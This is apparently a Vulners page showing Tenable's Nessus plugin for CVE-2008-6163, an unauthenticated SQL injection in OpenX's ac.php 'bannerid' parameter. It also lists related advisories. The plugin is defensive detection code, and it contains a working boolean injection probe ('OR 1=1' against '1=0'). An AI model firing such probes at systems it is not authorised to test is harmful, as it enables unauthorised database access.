| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2008-6163 | 2 Oct 200800:00 | – | circl | |
| CVE-2008-6163 | 18 Feb 200917:00 | – | cve | |
| CVE-2008-6163 | 18 Feb 200917:00 | – | cvelist | |
| EUVD-2008-6133 | 7 Oct 202500:30 | – | euvd | |
| CVE-2008-6163 | 20 Feb 200906:46 | – | nvd | |
| FreeBSD Ports: openx | 1 Nov 200800:00 | – | openvas | |
| FreeBSD Ports: openx | 1 Nov 200800:00 | – | openvas | |
| Sql injection | 20 Feb 200906:46 | – | prion |
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(34373);
script_version("1.19");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2008-6163");
script_bugtraq_id(31549);
script_xref(name:"EDB-ID", value:"6655");
script_xref(name:"SECUNIA", value:"32114");
script_name(english:"OpenX ac.php bannerid Parameter SQL Injection");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to a
SQL injection attack.");
script_set_attribute(attribute:"description", value:
"The remote host is running OpenX (formerly Openads), an open source ad
serving application written in PHP.
The installed version of OpenX does not validate user-supplied input
to the 'bannerid' parameter of the 'www/delivery/ac.php' script before
using it in database queries. Regardless of PHP's 'magic_quotes_gpc'
setting, an unauthenticated, remote attacker can leverage this issue to
manipulate SQL queries and, for example, uncover sensitive information
from the application's database or possibly execute arbitrary PHP
code.");
script_set_attribute(attribute:"see_also", value:"http://www.openx.org/docs/2.4/release-notes/openx-2.4.9");
script_set_attribute(attribute:"see_also", value:"http://www.openx.org/docs/2.6/release-notes/openx-2.6.2");
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/497111/30/0/threaded");
script_set_attribute(attribute:"solution", value:
"Upgrade to OpenX version 2.4.9 / 2.6.2 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_cwe_id(89);
script_set_attribute(attribute:"plugin_publication_date", value:"2008/10/09");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:openx:openx");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2008-2022 Tenable Network Security, Inc.");
script_dependencies("http_version.nasl");
script_require_keys("www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);
# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/openx", "/openads", "/ads", "/adserver", cgi_dirs()));
else dirs = make_list(cgi_dirs());
info = "";
foreach dir (dirs)
{
# Try to exploit the issue so we get an ad of some type.
exploit = string("-", rand() % 1000, " OR 1=1");
url = string(
dir, "/www/delivery/ac.php?",
"bannerid=", str_replace(find:" ", replace:"+", string:exploit)
);
w = http_send_recv3(method:"GET", item:url, port:port);
if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
res = strcat(w[0], w[1], '\r\n', w[2]);
# If we see an ad...
if ("www/delivery/ck.php?oaparams=" >< res)
{
# Try to exploit the issue so we don't get an ad.
exploit = str_replace(find:"1=1", replace:"1=0", string:exploit);
url = string(
dir, "/www/delivery/ac.php?",
"bannerid=", str_replace(find:" ", replace:"+", string:exploit)
);
w = http_send_recv3(method:"GET", item:url, port:port);
if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
res = strcat(w[0], w[1], '\r\n', w[2]);
# There's a problem if we don't see an ad this time.
if (
"title>Advertisement" >< res &&
"www/delivery/ck.php?oaparams=" >!< res
)
{
security_hole(port);
set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
exit(0);
}
}
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation